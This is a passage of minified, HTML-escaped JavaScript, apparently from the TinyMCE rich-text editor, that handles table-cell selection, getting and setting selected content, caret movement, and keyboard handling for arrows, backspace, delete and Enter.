o=n[r].cells(),i=0;i&lt;o.length;i++)if(Mr(o[i],t))return _.some(Mb(i,r));return _.none()},Vb=function(e,t,n,r,o){for(var i=[],a=e.rows(),u=n;u&lt;=o;u++){var s=a[u].cells(),c=t&lt;r?s.slice(t,r+1):s.slice(r,t+1);i.push(Fb(a[u].element(),c))}return i},Hb=function(e){var o=Lb(ha(e),0,[]);return z(Qi(e,&quot;tr&quot;),function(n,r){z(Qi(n,&quot;td,th&quot;),function(e,t){!function(e,t,n,r,o){for(var i=zb(o,&quot;rowspan&quot;),a=zb(o,&quot;colspan&quot;),u=e.rows(),s=n;s&lt;n+i;s++){u[s]||(u[s]=Fb(va(r),[]));for(var c=t;c&lt;t+a;c++)u[s].cells()[c]=s===n&amp;&amp;c===t?o:ha(o)}}(o,function(e,t,n){for(;r=t,o=n,i=void 0,((i=e.rows())[o]?i[o].cells():[])[r];)t++;var r,o,i;return t}(o,t,r),r,n,e)})}),Lb(o.element(),Ub(o.rows()),o.rows())},qb=function(e){return n=W((t=e).rows(),function(e){var t=W(e.cells(),function(e){var t=va(e);return Sr(t,&quot;colspan&quot;),Sr(t,&quot;rowspan&quot;),t}),n=ha(e.element());return Mi(n,t),n}),r=ha(t.element()),o=ar.fromTag(&quot;tbody&quot;),Mi(o,n),Fi(r,o),r;var t,n,r,o},$b=function(l,e,t){return jb(l,e).bind(function(c){return jb(l,t).map(function(e){return t=l,r=e,o=(n=c).x(),i=n.y(),a=r.x(),u=r.y(),s=i&lt;u?Vb(t,o,i,a,u):Vb(t,o,u,a,i),Lb(t.element(),Ub(s),s);var t,n,r,o,i,a,u,s})})},Wb=function(n,t){return X(n,function(e){return&quot;li&quot;===lr(e)&amp;&amp;Jh(e,t)}).fold(q([]),function(e){return(t=n,X(t,function(e){return&quot;ul&quot;===lr(e)||&quot;ol&quot;===lr(e)})).map(function(e){return[ar.fromTag(&quot;li&quot;),ar.fromTag(lr(e))]}).getOr([]);var t})},Kb=function(e,t){var n,r=ar.fromDom(t.commonAncestorContainer),o=uf(r,e),i=U(o,function(e){return xo(e)||bo(e)}),a=Wb(o,t),u=i.concat(a.length?a:So(n=r)?Vr(n).filter(Eo).fold(q([]),function(e){return[n,e]}):Eo(n)?[n]:[]);return W(u,ha)},Xb=function(){return Ib([])},Yb=function(e,t){return n=ar.fromDom(t.cloneContents()),r=Kb(e,t),o=j(r,function(e,t){return Fi(t,e),t},n),0&lt;r.length?Ib([o]):o;var n,r,o},Gb=function(e,o){return(t=e,n=o[0],ra(n,&quot;table&quot;,d(Mr,t))).bind(function(e){var t=o[0],n=o[o.length-1],r=Hb(e);return $b(r,t,n).map(function(e){return Ib([qb(e)])})}).getOrThunk(Xb);var t,n},Jb=function(e,t){var n,r,o=Cm(t,e);return 0&lt;o.length?Gb(e,o):(n=e,0&lt;(r=t).length&amp;&amp;r[0].collapsed?Xb():Yb(n,r[0]))},Qb=function(e,t){if(void 0===t&amp;&amp;(t={}),t.get=!0,t.format=t.format||&quot;html&quot;,t.selection=!0,(t=e.fire(&quot;BeforeGetContent&quot;,t)).isDefaultPrevented())return e.fire(&quot;GetContent&quot;,t),t.content;if(&quot;text&quot;===t.format)return c=e,_.from(c.selection.getRng()).map(function(e){var t=c.dom.add(c.getBody(),&quot;div&quot;,{&quot;data-mce-bogus&quot;:&quot;all&quot;,style:&quot;overflow: hidden; opacity: 0;&quot;},e.cloneContents()),n=wa(t.innerText);return c.dom.remove(t),n}).getOr(&quot;&quot;);t.getInner=!0;var n,r,o,i,a,u,s,c,l=(r=t,i=(n=e).selection.getRng(),a=n.dom.create(&quot;body&quot;),u=n.selection.getSel(),s=Pb(n,gm(u)),(o=r.contextual?Jb(ar.fromDom(n.getBody()),s).dom():i.cloneContents())&amp;&amp;a.appendChild(o),n.selection.serializer.serialize(a,r));return&quot;tree&quot;===t.format?l:(t.content=e.selection.isCollapsed()?&quot;&quot;:l,e.fire(&quot;GetContent&quot;,t),t.content)},Zb=function(e,t,n){var r,o,i,a,u=(r=t,ma(ma({format:&quot;html&quot;},n),{set:!0,selection:!0,content:r})),s=e.selection.getRng(),c=e.getDoc();if(u.no_events||!(u=e.fire(&quot;BeforeSetContent&quot;,u)).isDefaultPrevented()){if(t=function(e,t){if(&quot;raw&quot;!==t.format){var n=e.parser.parse(t.content,ma({isRootContent:!0,forced_root_block:!1},t));return al({validate:e.validate},e.schema).serialize(n)}return t.content}(e,u),s.insertNode){t+=&#039;&lt;span id=&quot;__caret&quot;&gt;_&lt;/span&gt;&#039;,s.startContainer===c&amp;&amp;s.endContainer===c?c.body.innerHTML=t:(s.deleteContents(),0===c.body.childNodes.length?c.body.innerHTML=t:s.createContextualFragment?s.insertNode(s.createContextualFragment(t)):(i=c.createDocumentFragment(),a=c.createElement(&quot;div&quot;),i.appendChild(a),a.outerHTML=t,s.insertNode(i))),o=e.dom.get(&quot;__caret&quot;),(s=c.createRange()).setStartBefore(o),s.setEndBefore(o),e.selection.setRng(s),e.dom.remove(&quot;__caret&quot;);try{e.selection.setRng(s)}catch(f){}}else{var l=s;l.item&amp;&amp;(c.execCommand(&quot;Delete&quot;,!1,null),l=e.selection.getRng()),/^\s+/.test(t)?(l.pasteHTML(&#039;&lt;span id=&quot;__mce_tmp&quot;&gt;_&lt;/span&gt;&#039;+t),e.dom.remove(&quot;__mce_tmp&quot;)):l.pasteHTML(t)}u.no_events||e.fire(&quot;SetContent&quot;,u)}else e.fire(&quot;SetContent&quot;,u)},eC=function(e,t,n,r,o){var i=n?t.startContainer:t.endContainer,a=n?t.startOffset:t.endOffset;return _.from(i).map(ar.fromDom).map(function(e){return r&amp;&amp;t.collapsed?e:Xr(e,o(e,a)).getOr(e)}).bind(function(e){return dr(e)?_.some(e):Vr(e)}).map(function(e){return e.dom()}).getOr(e)},tC=function(e,t,n){return eC(e,t,!0,n,function(e,t){return Math.min(e.dom().childNodes.length,t)})},nC=function(e,t,n){return eC(e,t,!1,n,function(e,t){return 0&lt;t?t-1:t})},rC=function(e,t){for(var n=e;e&amp;&amp;jo.isText(e)&amp;&amp;0===e.length;)e=t?e.nextSibling:e.previousSibling;return e||n},oC=Xt.each,iC=function(e){return!!e.select},aC=function(e){return!(!e||!e.ownerDocument)&amp;&amp;zr(ar.fromDom(e.ownerDocument),ar.fromDom(e))},uC=function(u,s,e,c){var n,t,l,f,a,r=function(e,t){return Zb(c,e,t)},o=function(e){var t=m();t.collapse(!!e),i(t)},d=function(){return s.getSelection?s.getSelection():s.document.selection},m=function(){var e,t,n,r,o=function(e,t,n){try{return t.compareBoundaryPoints(e,n)}catch(r){return-1}};if(!s)return null;if(null==(r=s.document))return null;if(c.bookmark!==undefined&amp;&amp;!1===sh(c)){var i=up(c);if(i.isSome())return i.map(function(e){return Pb(c,[e])[0]}).getOr(r.createRange())}try{(e=d())&amp;&amp;!jo.isRestrictedNode(e.anchorNode)&amp;&amp;(t=0&lt;e.rangeCount?e.getRangeAt(0):e.createRange?e.createRange():r.createRange())}catch(a){}return(t=Pb(c,[t])[0])||(t=r.createRange?r.createRange():r.body.createTextRange()),t.setStart&amp;&amp;9===t.startContainer.nodeType&amp;&amp;t.collapsed&amp;&amp;(n=u.getRoot(),t.setStart(n,0),t.setEnd(n,0)),l&amp;&amp;f&amp;&amp;(0===o(t.START_TO_START,t,l)&amp;&amp;0===o(t.END_TO_END,t,l)?t=f:f=l=null),t},i=function(e,t){var n,r;if((o=e)&amp;&amp;(iC(o)||aC(o.startContainer)&amp;&amp;aC(o.endContainer))){var o,i=iC(e)?e:null;if(i){f=null;try{i.select()}catch(a){}}else{if(n=d(),e=c.fire(&quot;SetSelectionRange&quot;,{range:e,forward:t}).range,n){f=e;try{n.removeAllRanges(),n.addRange(e)}catch(a){}!1===t&amp;&amp;n.extend&amp;&amp;(n.collapse(e.endContainer,e.endOffset),n.extend(e.startContainer,e.startOffset)),l=0&lt;n.rangeCount?n.getRangeAt(0):null}e.collapsed||e.startContainer!==e.endContainer||!n.setBaseAndExtent||fe.ie||e.endOffset-e.startOffset&lt;2&amp;&amp;e.startContainer.hasChildNodes()&amp;&amp;(r=e.startContainer.childNodes[e.startOffset])&amp;&amp;&quot;IMG&quot;===r.tagName&amp;&amp;(n.setBaseAndExtent(e.startContainer,e.startOffset,e.endContainer,e.endOffset),n.anchorNode===e.startContainer&amp;&amp;n.focusNode===e.endContainer||n.setBaseAndExtent(r,0,r,1)),c.fire(&quot;AfterSetSelectionRange&quot;,{range:e,forward:t})}}},g=function(){var e,t,n=d();return!(n&amp;&amp;n.anchorNode&amp;&amp;n.focusNode)||((e=u.createRng()).setStart(n.anchorNode,n.anchorOffset),e.collapse(!0),(t=u.createRng()).setStart(n.focusNode,n.focusOffset),t.collapse(!0),e.compareBoundaryPoints(e.START_TO_START,t)&lt;=0)},p={bookmarkManager:null,controlSelection:null,dom:u,win:s,serializer:e,editor:c,collapse:o,setCursorLocation:function(e,t){var n=u.createRng();e?(n.setStart(e,t),n.setEnd(e,t),i(n),o(!1)):(Qh(u,n,c.getBody(),!0),i(n))},getContent:function(e){return Qb(c,e)},setContent:r,getBookmark:function(e,t){return n.getBookmark(e,t)},moveToBookmark:function(e){return n.moveToBookmark(e)},select:function(e,t){var r,n,o;return(r=u,n=e,o=t,_.from(n).map(function(e){var t=r.nodeIndex(e),n=r.createRng();return n.setStart(e.parentNode,t),n.setEnd(e.parentNode,t+1),o&amp;&amp;(Qh(r,n,e,!0),Qh(r,n,e,!1)),n})).each(i),e},isCollapsed:function(){var e=m(),t=d();return!(!e||e.item)&amp;&amp;(e.compareEndPoints?0===e.compareEndPoints(&quot;StartToEnd&quot;,e):!t||e.collapsed)},isForward:g,setNode:function(e){return r(u.getOuterHTML(e)),e},getNode:function(){return e=c.getBody(),(t=m())?(r=t.startContainer,o=t.endContainer,i=t.startOffset,a=t.endOffset,n=t.commonAncestorContainer,!t.collapsed&amp;&amp;(r===o&amp;&amp;a-i&lt;2&amp;&amp;r.hasChildNodes()&amp;&amp;(n=r.childNodes[i]),3===r.nodeType&amp;&amp;3===o.nodeType&amp;&amp;(r=r.length===i?rC(r.nextSibling,!0):r.parentNode,o=0===a?rC(o.previousSibling,!1):o.parentNode,r&amp;&amp;r===o))?r:n&amp;&amp;3===n.nodeType?n.parentNode:n):e;var e,t,n,r,o,i,a},getSel:d,setRng:i,getRng:m,getStart:function(e){return tC(c.getBody(),m(),e)},getEnd:function(e){return nC(c.getBody(),m(),e)},getSelectedBlocks:function(e,t){return function(e,t,n,r){var o,i,a=[];if(i=e.getRoot(),n=e.getParent(n||tC(i,t,t.collapsed),e.isBlock),r=e.getParent(r||nC(i,t,t.collapsed),e.isBlock),n&amp;&amp;n!==i&amp;&amp;a.push(n),n&amp;&amp;r&amp;&amp;n!==r)for(var u=new go(o=n,i);(o=u.next())&amp;&amp;o!==r;)e.isBlock(o)&amp;&amp;a.push(o);return r&amp;&amp;n!==r&amp;&amp;r!==i&amp;&amp;a.push(r),a}(u,m(),e,t)},normalize:function(){var e=m(),t=d();if(!hm(t)&amp;&amp;Zh(c)){var n=Dg(u,e);return n.each(function(e){i(e,g())}),n.getOr(e)}return e},selectorChanged:function(e,t){var i;return a||(a={},i={},c.on(&quot;NodeChange&quot;,function(e){var n=e.element,r=u.getParents(n,null,u.getRoot()),o={};oC(a,function(e,n){oC(r,function(t){if(u.is(t,n))return i[n]||(oC(e,function(e){e(!0,{node:t,selector:n,parents:r})}),i[n]=e),o[n]=e,!1})}),oC(i,function(e,t){o[t]||(delete i[t],oC(e,function(e){e(!1,{node:n,selector:t,parents:r})}))})})),a[e]||(a[e]=[]),a[e].push(t),p},getScrollContainer:function(){for(var e,t=u.getRoot();t&amp;&amp;&quot;BODY&quot;!==t.nodeName;){if(t.scrollHeight&gt;t.clientHeight){e=t;break}t=t.parentNode}return e},scrollIntoView:function(e,t){return og(c,e,t)},placeCaretAt:function(e,t){return i(Bb(e,t,c.getDoc()))},getBoundingClientRect:function(){var e=m();return e.collapsed?_u.fromRangeStart(e).getClientRects()[0]:e.getBoundingClientRect()},destroy:function(){s=l=f=null,t.destroy()}};return n=_b(p),t=Db(p,c),p.bookmarkManager=n,p.controlSelection=t,p};(kb=Tb||(Tb={}))[kb.Br=0]=&quot;Br&quot;,kb[kb.Block=1]=&quot;Block&quot;,kb[kb.Wrap=2]=&quot;Wrap&quot;,kb[kb.Eol=3]=&quot;Eol&quot;;var sC=function(e,t){return e===Tu.Backwards?t.reverse():t},cC=function(e,t,n,r){for(var o,i,a,u,s,c,l=Js(n),f=r,d=[];f&amp;&amp;(s=l,c=f,o=t===Tu.Forwards?s.next(c):s.prev(c));){if(jo.isBr(o.getNode(!1)))return t===Tu.Forwards?{positions:sC(t,d).concat([o]),breakType:Tb.Br,breakAt:_.some(o)}:{positions:sC(t,d),breakType:Tb.Br,breakAt:_.some(o)};if(o.isVisible()){if(e(f,o)){var m=(i=t,a=f,u=o,jo.isBr(u.getNode(i===Tu.Forwards))?Tb.Br:!1===Ts(a,u)?Tb.Block:Tb.Wrap);return{positions:sC(t,d),breakType:m,breakAt:_.some(o)}}d.push(o),f=o}else f=o}return{positions:sC(t,d),breakType:Tb.Eol,breakAt:_.none()}},lC=function(n,r,o,e){return r(o,e).breakAt.map(function(e){var t=r(o,e).positions;return n===Tu.Backwards?t.concat(e):[e].concat(t)}).getOr([])},fC=function(e,i){return j(e,function(e,o){return e.fold(function(){return _.some(o)},function(r){return ru(Z(r.getClientRects()),Z(o.getClientRects()),function(e,t){var n=Math.abs(i-e.left);return Math.abs(i-t.left)&lt;=n?o:r}).or(e)})},_.none())},dC=function(t,e){return Z(e.getClientRects()).bind(function(e){return fC(t,e.left)})},mC=d(cC,Su.isAbove,-1),gC=d(cC,Su.isBelow,1),pC=d(lC,-1,mC),hC=d(lC,1,gC),vC=jo.isContentEditableFalse,yC=Za,bC=function(e,t,n,r){var o=e===Tu.Forwards,i=o?Lf:Ff;if(!r.collapsed){var a=yC(r);if(vC(a))return sg(e,t,a,e===Tu.Backwards,!0)}var u=Sa(r.startContainer),s=Ps(e,t.getBody(),r);if(i(s))return cg(t,s.getNode(!o));var c=Vl.normalizePosition(o,n(s));if(!c)return u?r:null;if(i(c))return sg(e,t,c.getNode(!o),o,!0);var l=n(c);return l&amp;&amp;i(l)&amp;&amp;Fs(c,l)?sg(e,t,l.getNode(!o),o,!0):u?fg(t,c.toRange(),!0):null},CC=function(e,t,n,r){var o,i,a,u,s,c,l,f,d;if(d=yC(r),o=Ps(e,t.getBody(),r),i=n(t.getBody(),sv(1),o),a=U(i,cv(1)),s=Ht.last(o.getClientRects()),(Lf(o)||zf(o))&amp;&amp;(d=o.getNode()),(Ff(o)||Uf(o))&amp;&amp;(d=o.getNode(!0)),!s)return null;if(c=s.left,(u=pv(a,c))&amp;&amp;vC(u.node))return l=Math.abs(c-u.left),f=Math.abs(c-u.right),sg(e,t,u.node,l&lt;f,!0);if(d){var m=function(e,t,n,r){var o,i,a,u,s,c,l=Js(t),f=[],d=0,m=function(e){return Ht.last(e.getClientRects())};1===e?(o=l.next,i=Ja,a=Ga,u=_u.after(r)):(o=l.prev,i=Ga,a=Ja,u=_u.before(r)),c=m(u);do{if(u.isVisible()&amp;&amp;!a(s=m(u),c)){if(0&lt;f.length&amp;&amp;i(s,Ht.last(f))&amp;&amp;d++,(s=Ka(s)).position=u,s.line=d,n(s))return f;f.push(s)}}while(u=o(u));return f}(e,t.getBody(),sv(1),d);if(u=pv(U(m,cv(1)),c))return fg(t,u.position.toRange(),!0);if(u=Ht.last(U(m,cv(0))))return fg(t,u.position.toRange(),!0)}},xC=function(e,t,n){var r,o,i,a,u=Js(e.getBody()),s=d(Ls,u.next),c=d(Ls,u.prev);if(n.collapsed&amp;&amp;e.settings.forced_root_block){if(!(r=e.dom.getParent(n.startContainer,&quot;PRE&quot;)))return;(1===t?s(_u.fromRangeStart(n)):c(_u.fromRangeStart(n)))||(a=(i=e).dom.create(Nl(i)),(!fe.ie||11&lt;=fe.ie)&amp;&amp;(a.innerHTML=&#039;&lt;br data-mce-bogus=&quot;1&quot;&gt;&#039;),o=a,1===t?e.$(r).after(o):e.$(r).before(o),e.selection.select(o,!0),e.selection.collapse())}},wC=function(l,f){return function(){var e,t,n,r,o,i,a,u,s,c=(t=f,r=Js((e=l).getBody()),o=d(Ls,r.next),i=d(Ls,r.prev),a=t?Tu.Forwards:Tu.Backwards,u=t?o:i,s=e.selection.getRng(),(n=bC(a,e,u,s))?n:(n=xC(e,a,s))||null);return!!c&amp;&amp;(dg(l,c),!0)}},NC=function(u,s){return function(){var e,t,n,r,o,i,a=(r=(t=s)?1:-1,o=t?uv:av,i=(e=u).selection.getRng(),(n=CC(r,e,o,i))?n:(n=xC(e,r,i))||null);return!!a&amp;&amp;(dg(u,a),!0)}},EC=function(r,o){return function(){var t,e=o?_u.fromRangeEnd(r.selection.getRng()):_u.fromRangeStart(r.selection.getRng()),n=o?gC(r.getBody(),e):mC(r.getBody(),e);return(o?ee(n.positions):Z(n.positions)).filter((t=o,function(e){return t?Ff(e):Lf(e)})).fold(q(!1),function(e){return r.selection.setRng(e.toRange()),!0})}},SC=function(e,t,n,r,o){var i,a,u,s,c=Qi(ar.fromDom(n),&quot;td,th,caption&quot;).map(function(e){return e.dom()}),l=U((i=e,G(c,function(e){var t,n,r=(t=Ka(e.getBoundingClientRect()),n=-1,{left:t.left-n,top:t.top-n,right:t.right+2*n,bottom:t.bottom+2*n,width:t.width+n,height:t.height+n});return[{x:r.left,y:i(r),cell:e},{x:r.right,y:i(r),cell:e}]})),function(e){return t(e,o)});return(a=l,u=r,s=o,j(a,function(e,r){return e.fold(function(){return _.some(r)},function(e){var t=Math.sqrt(Math.abs(e.x-u)+Math.abs(e.y-s)),n=Math.sqrt(Math.abs(r.x-u)+Math.abs(r.y-s));return _.some(n&lt;t?r:e)})},_.none())).map(function(e){return e.cell})},TC=d(SC,function(e){return e.bottom},function(e,t){return e.y&lt;t}),kC=d(SC,function(e){return e.top},function(e,t){return e.y&gt;t}),_C=function(t,n){return Z(n.getClientRects()).bind(function(e){return TC(t,e.left,e.top)}).bind(function(e){return dC((t=e,sc.lastPositionIn(t).map(function(e){return mC(t,e).positions.concat(e)}).getOr([])),n);var t})},AC=function(t,n){return ee(n.getClientRects()).bind(function(e){return kC(t,e.left,e.top)}).bind(function(e){return dC((t=e,sc.firstPositionIn(t).map(function(e){return[e].concat(gC(t,e).positions)}).getOr([])),n);var t})},RC=function(e,t,n){var r,o,i,a,u=e(t,n);return(a=u).breakType===Tb.Wrap&amp;&amp;0===a.positions.length||!jo.isBr(n.getNode())&amp;&amp;(i=u).breakType===Tb.Br&amp;&amp;1===i.positions.length?(r=e,o=t,!u.breakAt.map(function(e){return r(o,e).breakAt.isSome()}).getOr(!1)):u.breakAt.isNone()},DC=d(RC,mC),OC=d(RC,gC),BC=function(e,t,n,r){var o,i,a,u,s=e.selection.getRng(),c=t?1:-1;if(ms()&amp;&amp;(o=t,i=s,a=n,u=_u.fromRangeStart(i),sc.positionIn(!o,a).map(function(e){return e.isEqual(u)}).getOr(!1))){var l=sg(c,e,n,!t,!0);return dg(e,l),!0}return!1},PC=function(e,t){var n=t.getNode(e);return jo.isElement(n)&amp;&amp;&quot;TABLE&quot;===n.nodeName?_.some(n):_.none()},IC=function(u,s,c){var e=PC(!!s,c),t=!1===s;e.fold(function(){return dg(u,c.toRange())},function(a){return sc.positionIn(t,u.getBody()).filter(function(e){return e.isEqual(c)}).fold(function(){return dg(u,c.toRange())},function(e){return n=s,o=a,t=c,void((i=Nl(r=u))?r.undoManager.transact(function(){var e=ar.fromTag(i);Nr(e,El(r)),Fi(e,ar.fromTag(&quot;br&quot;)),n?Ii(ar.fromDom(o),e):Pi(ar.fromDom(o),e);var t=r.dom.createRng();t.setStart(e.dom(),0),t.setEnd(e.dom(),0),dg(r,t)}):dg(r,t.toRange()));var n,r,o,t,i})})},LC=function(e,t,n,r){var o,i,a,u,s,c,l=e.selection.getRng(),f=_u.fromRangeStart(l),d=e.getBody();if(!t&amp;&amp;DC(r,f)){var m=(u=d,_C(s=n,c=f).orThunk(function(){return Z(c.getClientRects()).bind(function(e){return fC(pC(u,_u.before(s)),e.left)})}).getOr(_u.before(s)));return IC(e,t,m),!0}return!(!t||!OC(r,f))&amp;&amp;(o=d,m=AC(i=n,a=f).orThunk(function(){return Z(a.getClientRects()).bind(function(e){return fC(hC(o,_u.after(i)),e.left)})}).getOr(_u.after(i)),IC(e,t,m),!0)},FC=function(t,n){return function(){return _.from(t.dom.getParent(t.selection.getNode(),&quot;td,th&quot;)).bind(function(e){return _.from(t.dom.getParent(e,&quot;table&quot;)).map(function(e){return BC(t,n,e)})}).getOr(!1)}},MC=function(n,r){return function(){return _.from(n.dom.getParent(n.selection.getNode(),&quot;td,th&quot;)).bind(function(t){return _.from(n.dom.getParent(t,&quot;table&quot;)).map(function(e){return LC(n,r,e,t)})}).getOr(!1)}},zC=function(e){return F([&quot;figcaption&quot;],lr(e))},UC=function(e){var t=V.document.createRange();return t.setStartBefore(e.dom()),t.setEndBefore(e.dom()),t},jC=function(e,t,n){n?Fi(e,t):Li(e,t)},VC=function(e,t,n,r){return&quot;&quot;===t?(l=e,f=r,d=ar.fromTag(&quot;br&quot;),jC(l,d,f),UC(d)):(o=e,i=r,a=t,u=n,s=ar.fromTag(a),c=ar.fromTag(&quot;br&quot;),Nr(s,u),Fi(s,c),jC(o,s,i),UC(c));var o,i,a,u,s,c,l,f,d},HC=function(e,t,n){return t?(o=e.dom(),gC(o,n).breakAt.isNone()):(r=e.dom(),mC(r,n).breakAt.isNone());var r,o},qC=function(t,n){var e,r,o,i=ar.fromDom(t.getBody()),a=_u.fromRangeStart(t.selection.getRng()),u=Nl(t),s=El(t);return(e=a,r=i,o=d(Mr,r),na(ar.fromDom(e.container()),Co,o).filter(zC)).exists(function(){if(HC(i,n,a)){var e=VC(i,u,s,n);return t.selection.setRng(e),!0}return!1})},$C=function(e,t){return function(){return!!e.selection.isCollapsed()&amp;&amp;qC(e,t)}},WC=function(e,r){return G(W(e,function(e){return Zy({shiftKey:!1,altKey:!1,ctrlKey:!1,metaKey:!1,keyCode:0,action:o},e)}),function(e){return t=e,(n=r).keyCode===t.keyCode&amp;&amp;n.shiftKey===t.shiftKey&amp;&amp;n.altKey===t.altKey&amp;&amp;n.ctrlKey===t.ctrlKey&amp;&amp;n.metaKey===t.metaKey?[e]:[];var t,n})},KC=function(e){for(var t=[],n=1;n&lt;arguments.length;n++)t[n-1]=arguments[n];var r=Array.prototype.slice.call(arguments,1);return function(){return e.apply(null,r)}},XC=function(e,t){return X(WC(e,t),function(e){return e.action()})},YC=function(i,a){i.on(&quot;keydown&quot;,function(e){var t,n,r,o;!1===e.isDefaultPrevented()&amp;&amp;(t=i,n=a,r=e,o=or.detect().os,XC([{keyCode:rv.RIGHT,action:wC(t,!0)},{keyCode:rv.LEFT,action:wC(t,!1)},{keyCode:rv.UP,action:NC(t,!1)},{keyCode:rv.DOWN,action:NC(t,!0)},{keyCode:rv.RIGHT,action:FC(t,!0)},{keyCode:rv.LEFT,action:FC(t,!1)},{keyCode:rv.UP,action:MC(t,!1)},{keyCode:rv.DOWN,action:MC(t,!0)},{keyCode:rv.RIGHT,action:Xd.move(t,n,!0)},{keyCode:rv.LEFT,action:Xd.move(t,n,!1)},{keyCode:rv.RIGHT,ctrlKey:!o.isOSX(),altKey:o.isOSX(),action:Xd.moveNextWord(t,n)},{keyCode:rv.LEFT,ctrlKey:!o.isOSX(),altKey:o.isOSX(),action:Xd.movePrevWord(t,n)},{keyCode:rv.UP,action:$C(t,!1)},{keyCode:rv.DOWN,action:$C(t,!0)}],r).each(function(e){r.preventDefault()}))})},GC=function(o,i){o.on(&quot;keydown&quot;,function(e){var t,n,r;!1===e.isDefaultPrevented()&amp;&amp;(t=o,n=i,r=e,XC([{keyCode:rv.BACKSPACE,action:KC(ad,t,!1)},{keyCode:rv.DELETE,action:KC(ad,t,!0)},{keyCode:rv.BACKSPACE,action:KC(gg,t,!1)},{keyCode:rv.DELETE,action:KC(gg,t,!0)},{keyCode:rv.BACKSPACE,action:KC(Qd,t,n,!1)},{keyCode:rv.DELETE,action:KC(Qd,t,n,!0)},{keyCode:rv.BACKSPACE,action:KC(Dm,t,!1)},{keyCode:rv.DELETE,action:KC(Dm,t,!0)},{keyCode:rv.BACKSPACE,action:KC(Cf,t,!1)},{keyCode:rv.DELETE,action:KC(Cf,t,!0)},{keyCode:rv.BACKSPACE,action:KC(hf,t,!1)},{keyCode:rv.DELETE,action:KC(hf,t,!0)},{keyCode:rv.BACKSPACE,action:KC(ng,t,!1)},{keyCode:rv.DELETE,action:KC(ng,t,!0)}],r).each(function(e){r.preventDefault()}))}),o.on(&quot;keyup&quot;,function(e){var t,n;!1===e.isDefaultPrevented()&amp;&amp;(t=o,n=e,XC([{keyCode:rv.BACKSPACE,action:KC(ud,t)},{keyCode:rv.DELETE,action:KC(ud,t)}],n))})},JC=function(e){return _.from(e.dom.getParent(e.selection.getStart(!0),e.dom.isBlock))},QC=function(e,t){var n,r,o,i=t,a=e.dom,u=e.schema.getMoveCaretBeforeOnEnterElements();if(t){if(/^(LI|DT|DD)$/.test(t.nodeName)){var s=function(e){for(;e;){if(1===e.nodeType||3===e.nodeType&amp;&amp;e.data&amp;&amp;/[\r\n\s]/.test(e.data))return e;e=e.nextSibling}}(t.firstChild);s&amp;&amp;/^(UL|OL|DL)$/.test(s.nodeName)&amp;&amp;t.insertBefore(a.doc.createTextNode(&quot;\xa0&quot;),t.firstChild)}if(o=a.createRng(),t.normalize(),t.hasChildNodes()){for(n=new go(t,t);r=n.current();){if(jo.isText(r)){o.setStart(r,0),o.setEnd(r,0);break}if(u[r.nodeName.toLowerCase()]){o.setStartBefore(r),o.setEndBefore(r);break}i=r,r=n.next()}r||(o.setStart(i,0),o.setEnd(i,0))}else jo.isBr(t)?t.nextSibling&amp;&amp;a.isBlock(t.nextSibling)?(o.setStartBefore(t),o.setEndBefore(t)):(o.setStartAfter(t),o.setEndAfter(t)):(o.setStart(t,0),o.setEnd(t,0));e.selection.setRng(o),a.remove(void 0),e.selection.scrollIntoView(t)}},ZC=function(e,t){var n,r,o=e.getRoot();for(n=t;n!==o&amp;&amp;&quot;false&quot;!==e.getContentEditable(n);)&quot;true&quot;===e.getContentEditable(n)&amp;&amp;(r=n),n=n.parentNode;return n!==o?r:o},ex=JC,tx=function(e){return JC(e).fold(q(&quot;&quot;),function(e){return e.nodeName.toUpperCase()})},nx=function(e){return JC(e).filter(function(e){return So(ar.fromDom(e))}).isSome()},rx=function(e,t){return e&amp;&amp;e.parentNode&amp;&amp;e.parentNode.nodeName===t},ox=function(e){return e&amp;&amp;/^(OL|UL|LI)$/.test(e.nodeName)},ix=function(e){var t=e.parentNode;return/^(LI|DT|DD)$/.test(t.nodeName)?t:e},ax=function(e,t,n){for(var r=e[n?&quot;firstChild&quot;:&quot;lastChild&quot;];r&amp;&amp;!jo.isElement(r);)r=r[n?&quot;nextSibling&quot;:&quot;previousSibling&quot;];return r===t},ux=function(e,t,n,r,o){var i=e.dom,a=e.selection.getRng();if(n!==e.getBody()){var u;ox(u=n)&amp;&amp;ox(u.parentNode)&amp;&amp;(o=&quot;LI&quot;);var s,c,l=o?t(o):i.create(&quot;BR&quot;);if(ax(n,r,!0)&amp;&amp;ax(n,r,!1))rx(n,&quot;LI&quot;)?i.insertAfter(l,ix(n)):i.replace(l,n);else if(ax(n,r,!0))rx(n,&quot;LI&quot;)?(i.insertAfter(l,ix(n)),l.appendChild(i.doc.createTextNode(&quot; &quot;)),l.appendChild(n)):n.parentNode.insertBefore(l,n);else if(ax(n,r,!1))i.insertAfter(l,ix(n));else{n=ix(n);var f=a.cloneRange();f.setStartAfter(r),f.setEndAfter(n);var d=f.extractContents();&quot;LI&quot;===o&amp;&amp;(c=&quot;LI&quot;,(s=d).firstChild&amp;&amp;s.firstChild.nodeName===c)?(l=d.firstChild,i.insertAfter(d,n)):(i.insertAfter(d,n),i.insertAfter(l,n))}i.remove(r),QC(e,l)}},sx=function(e){e.innerHTML=&#039;&lt;br data-mce-bogus=&quot;1&quot;&gt;&#039;},cx=function(e,t){return e.nodeName===t||e.previousSibling&amp;&amp;e.previousSibling.nodeName===t},lx=function(e,t){return t&amp;&amp;e.isBlock(t)&amp;&amp;!/^(TD|TH|CAPTION|FORM)$/.test(t.nodeName)&amp;&amp;!/^(fixed|absolute)/i.test(t.style.position)&amp;&amp;&quot;true&quot;!==e.getContentEditable(t)},fx=function(e,t,n){return!1===jo.isText(t)?n:e?1===n&amp;&amp;t.data.charAt(n-1)===xa?0:n:n===t.data.length-1&amp;&amp;t.data.charAt(n)===xa?t.data.length:n},dx=function(e,t){var n,r,o=e.getRoot();for(n=t;n!==o&amp;&amp;&quot;false&quot;!==e.getContentEditable(n);)&quot;true&quot;===e.getContentEditable(n)&amp;&amp;(r=n),n=n.parentNode;return n!==o?r:o},mx=function(o,i,e){_.from(e.style).map(o.dom.parseStyle).each(function(e){var t=function(e){var t={},n=e.dom();if(Cr(n))for(var r=0;r&lt;n.style.length;r++){var o=n.style.item(r);t[o]=n.style[o]}return t}(ar.fromDom(i)),n=ma(ma({},t),e);o.dom.setStyles(i,n)});var t=_.from(e[&quot;class&quot;]).map(function(e){return e.split(/\s+/)}),n=_.from(i.className).map(function(e){return U(e.split(/\s+/),function(e){return&quot;&quot;!==e})});ru(t,n,function(t,e){var n=U(e,function(e){return!F(t,e)}),r=function(){for(var e=0,t=0,n=arguments.length;t&lt;n;t++)e+=arguments[t].length;var r=Array(e),o=0;for(t=0;t&lt;n;t++)for(var 